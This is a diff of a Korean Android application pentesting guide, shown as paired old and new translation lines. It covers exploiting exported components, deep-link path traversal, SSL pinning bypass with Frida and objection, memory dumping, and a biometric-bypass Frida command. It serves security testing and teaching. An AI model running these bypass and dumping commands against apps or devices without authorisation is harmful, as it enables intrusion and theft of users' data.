**외부 저장소**에서 파일을 다룰 때는 몇 가지 주의 사항이 필요합니다:
1. **접근성**:
- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다.
- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 이는 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있음을 의미합니다.
2. **보안 문제**:
- 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안이 떨어집니다.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안이 떨어집니다.
3. **외부 저장소에서 데이터 처리**:
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증되었는지 확인**한 후 동적으로 로드해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증된 후 동적으로 로드되도록 해야 합니다**. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다.
> [!NOTE]
> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다.
> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻지 못하도록 방지합니다.
**명확한 텍스트로 저장된 민감한 데이터**
@ -149,11 +149,11 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
### Other checks
- APK를 **난독화**하여 공격자의 리버스 엔지니어링 작업을 어렵게 만드는 것이 좋습니다.
- 공격자가 리버스 엔지니어링 작업을 어렵게 하기 위해 **APK를 난독화**하는 것이 좋습니다.
- 앱이 민감한 경우(예: 은행 앱) **모바일이 루팅되었는지 확인하는 자체 검사를 수행**하고 그에 따라 행동해야 합니다.
- 앱이 민감한 경우(예: 은행 앱) **에뮬레이터**가 사용되고 있는지 확인해야 합니다.
- 앱이 민감한 경우(예: 은행 앱) **실행하기 전에 자체 무결성을 확인**하여 수정되었는지 확인해야 합니다.
@ -266,11 +266,11 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
개발자는 **디버깅 정보**를 공개적으로 노출하는 것에 주의해야 하며, 이는 민감한 데이터 유출로 이어질 수 있습니다. [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 사용하여 애플리케이션 로그를 모니터링하고 민감한 정보를 식별하고 보호하는 것이 좋습니다. **Pidcat**은 사용 용이성과 가독성 때문에 선호됩니다.
> [!WARNING]
> **Android 4.0** 이후 버전에서는 **응용 프로그램이 자신의 로그에만 접근할 수 있습니다**. 따라서 응용 프로그램은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 록하지 않는 것이 여전히 권장됩니다**.
> **Android 4.0** 이후 버전에서는 **애플리케이션이 자신의 로그에만 접근할 수 있습니다**. 따라서 애플리케이션은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 로그에 남기지 않는 것이 여전히 권장됩니다**.
**Copy/Paste Buffer Caching**
@ -278,9 +278,9 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
**Crash Logs**
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 보안을 위해 SSL 채널을 통해 전송되도록 해야 합니다.
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
펜테스터로서 **이 로그를 살펴보는 것이 좋습니다**.
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
**Analytics Data Sent To 3rd Parties**
@ -288,22 +288,22 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
### SQLite DBs
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 발견할 수 있기 때문입니다.\
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블****열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수 있다면** 여전히 **취약점**입니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 을 기억하세요.
또한 활동의 코드는 **`onCreate`** 메서드에서 시작된다는 을 기억하세요.
**Authorisation bypass**
@ -325,44 +325,44 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**민감한 정보 유출**
**활동은 결과를 반환할 수도 있습니다**. 만약 당신이 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는다면, 이는 민감한 정보 유출입니다.
**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다.
#### Tapjacking
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하도록 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 클릭하세요**](#tapjacking).
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 작업을 수행하게** 만들 수 있습니다. Tapjacking에 대한 더 많은 정보는 [**여기를 참조하세요**](#tapjacking).
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유하는** 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을 것입니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
### **서비스 악용**
[**서비스가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 을 기억하세요.
서비스는 기본적으로 **데이터를 수신하고**, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드를 확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보를 추출하기 위해 동적으로 테스트**해야 합니다, 인증 수단을 우회하는 등의 작업을 위해...\
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드****확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 수단 우회 등을 위해 **동적으로 테스트**해야 합니다.\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
### **브로드캐스트 수신기 악용**
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 이 글을 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers)
### **스킴 / 딥 링크 악용**
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수 있습니다**:
MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)와 같은 스크립트를 사용하여 딥 링크를 수동으로 찾을 수 있습니다.\
**adb** 또는 **브라우저**를 사용하여 선언된 **스킴**을 **열 수** 있습니다:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해당 링크를 열어야 하는 앱을 호출합니다._
```markup
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
@ -376,11 +376,11 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
**민감한 정보**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 왜냐하면 다른 애플리케이션이 **딥링크를 가장하여 데이터를 훔칠 수 있기 때문입니다!**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있기 때문입니다!**
**경로의 매개변수**
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 경로 탐색을 강제하여 다음과 같은 접근을 할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 다음과 같이 경로 탐색을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요.
**더 많은 예시**
@ -403,15 +403,15 @@ SSL 핀닝은 애플리케이션이 서버의 인증서를 애플리케이션
#### 트래픽 검사
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성 수정에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md).
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성 수정하는 방법에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md).
#### SSL 핀닝 우회
SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
- 자동으로 **apk를 수정하여** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)로 SSL 핀닝을 **우회**합니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **apk**를 자동으로 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 다음과 같습니다: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨).
@ -431,11 +431,11 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법
- Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요(도구 [linjector](https://github.com/erfur/linjector-rs)).
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요 (도구 [linjector](https://github.com/erfur/linjector-rs))
### **메모리 덤프 - Fridump**
애플리케이션이 비밀번호나 니모닉과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 다음과 같이 앱의 메모리를 덤프할 수 있습니다:
```bash
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **지문/생체 인식 우회**
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 수 있으며, Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
다음 Frida 스크립트를 사용하면 **지문 인증을 우회**할 수 있을 것입니다. Android 애플리케이션이 **특정 민감한 영역을 보호하기 위해 수행할 수 있습니다:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -470,11 +470,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다.
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람은 **그 정보를 훔칠 수 있습니다** (접근하려면 루트 권한이 필요합니다).
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람이 **그 정보를 훔칠 수** 있습니다(접근하려면 루트 권한이 필요합니다).
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전하게 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없도록 방지됩니다.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -500,8 +500,8 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
아마도 웹에서 이러한 종류의 취약점에 대해 알고 계실 것입니다. 안드로이드 애플리케이션에서 이러한 취약점에 특히 주의해야 합니다:
- **SQL 주입:** 동적 쿼리 또는 콘텐츠 제공자를 다룰 때 매개변수화된 쿼리를 사용하고 있는지 확인하십시오.
- **자바스크립트 주입 (XSS):** 모든 WebView에 대해 자바스크립트 및 플러그인 지원이 비활성화되어 있는지 확인하십시오 (기본적으로 비활성화됨). [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오.
- **로컬 파일 포함:** WebView는 파일 시스템에 대한 접근이 비활성화되어야 합니다 (기본적으로 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오.
- **자바스크립트 주입 (XSS):** 모든 WebViews에 대해 자바스크립트 및 플러그인 지원이 비활성화되어 있는지 확인하십시오 (기본적으로 비활성화됨). [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오.
- **로컬 파일 포함:** WebViews는 파일 시스템에 대한 접근이 비활성화되어야 합니다 (기본적으로 활성화됨) - `(webview.getSettings().setAllowFileAccess(false);)`. [자세한 정보는 여기](webview-attacks.md#javascript-enabled)를 참조하십시오.
- **영구 쿠키**: 여러 경우에 안드로이드 애플리케이션이 세션을 종료할 때 쿠키가 취소되지 않거나 디스크에 저장될 수 있습니다.
- [**쿠키의 보안 플래그**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -523,26 +523,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal** 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal** 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
### MobSF를 이용한 보조 동적 분석
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 사용자가 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다.
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다.
- **HTTPS 트래픽 캡처**
- **Frida**를 사용하여 **런타임** **정보**를 얻기
안드로이드 **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
Android **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
**Frida**
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 캡처하여 **보고서**에 저장할 수 있습니다.
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 **우회**하고 **흥미로운 API**를 **모니터링**하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 **여러 개의 미리 작성된 스크립트**를 로드할 수 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
![](<../../images/image (419).png>)
@ -553,13 +553,13 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
- **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
- **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
